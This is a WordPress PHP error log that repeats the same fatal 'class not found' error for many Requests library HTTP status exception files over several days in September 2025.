[14-Sep-2025 15:11:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-Sep-2025 15:11:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-Sep-2025 15:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-Sep-2025 15:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-Sep-2025 15:11:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-Sep-2025 15:11:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-Sep-2025 15:11:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-Sep-2025 15:11:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-Sep-2025 15:11:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-Sep-2025 15:11:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-Sep-2025 15:11:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-Sep-2025 15:11:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-Sep-2025 15:11:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[18-Sep-2025 16:52:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[18-Sep-2025 16:52:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[18-Sep-2025 16:52:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[18-Sep-2025 16:52:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[18-Sep-2025 16:52:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[18-Sep-2025 16:52:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[18-Sep-2025 16:52:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[18-Sep-2025 16:52:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[18-Sep-2025 16:52:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[18-Sep-2025 16:52:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[18-Sep-2025 16:52:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[18-Sep-2025 16:52:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[18-Sep-2025 16:52:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[18-Sep-2025 16:52:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[18-Sep-2025 16:52:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[18-Sep-2025 16:52:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[18-Sep-2025 16:52:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[18-Sep-2025 16:52:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[18-Sep-2025 16:52:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[18-Sep-2025 16:52:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[18-Sep-2025 16:52:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[18-Sep-2025 16:53:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[18-Sep-2025 16:53:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[18-Sep-2025 16:53:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[18-Sep-2025 16:53:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[18-Sep-2025 16:53:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[18-Sep-2025 16:53:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[18-Sep-2025 16:53:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[18-Sep-2025 16:53:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[18-Sep-2025 16:53:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[18-Sep-2025 16:53:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[18-Sep-2025 16:53:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[18-Sep-2025 16:53:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[18-Sep-2025 17:06:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[18-Sep-2025 17:06:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[18-Sep-2025 17:06:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[18-Sep-2025 17:06:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[18-Sep-2025 17:06:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[18-Sep-2025 17:06:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[18-Sep-2025 17:06:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[18-Sep-2025 17:06:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[18-Sep-2025 17:06:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[18-Sep-2025 17:06:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[18-Sep-2025 17:06:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[18-Sep-2025 17:06:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[18-Sep-2025 17:06:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[18-Sep-2025 17:06:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[18-Sep-2025 17:06:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[18-Sep-2025 17:06:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[18-Sep-2025 17:06:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[18-Sep-2025 17:06:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[18-Sep-2025 17:06:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[18-Sep-2025 17:06:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[18-Sep-2025 17:06:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[18-Sep-2025 17:06:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[18-Sep-2025 17:06:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[18-Sep-2025 17:06:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[18-Sep-2025 17:06:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[18-Sep-2025 17:06:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[18-Sep-2025 17:06:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[18-Sep-2025 17:06:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[18-Sep-2025 17:06:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[18-Sep-2025 17:06:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[18-Sep-2025 17:06:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[18-Sep-2025 17:06:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[18-Sep-2025 17:06:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[19-Sep-2025 06:23:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Sep-2025 06:23:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Sep-2025 06:23:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Sep-2025 06:23:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Sep-2025 06:23:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Sep-2025 06:23:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Sep-2025 06:23:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Sep-2025 06:23:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Sep-2025 06:23:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Sep-2025 06:23:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Sep-2025 06:23:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Sep-2025 06:23:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
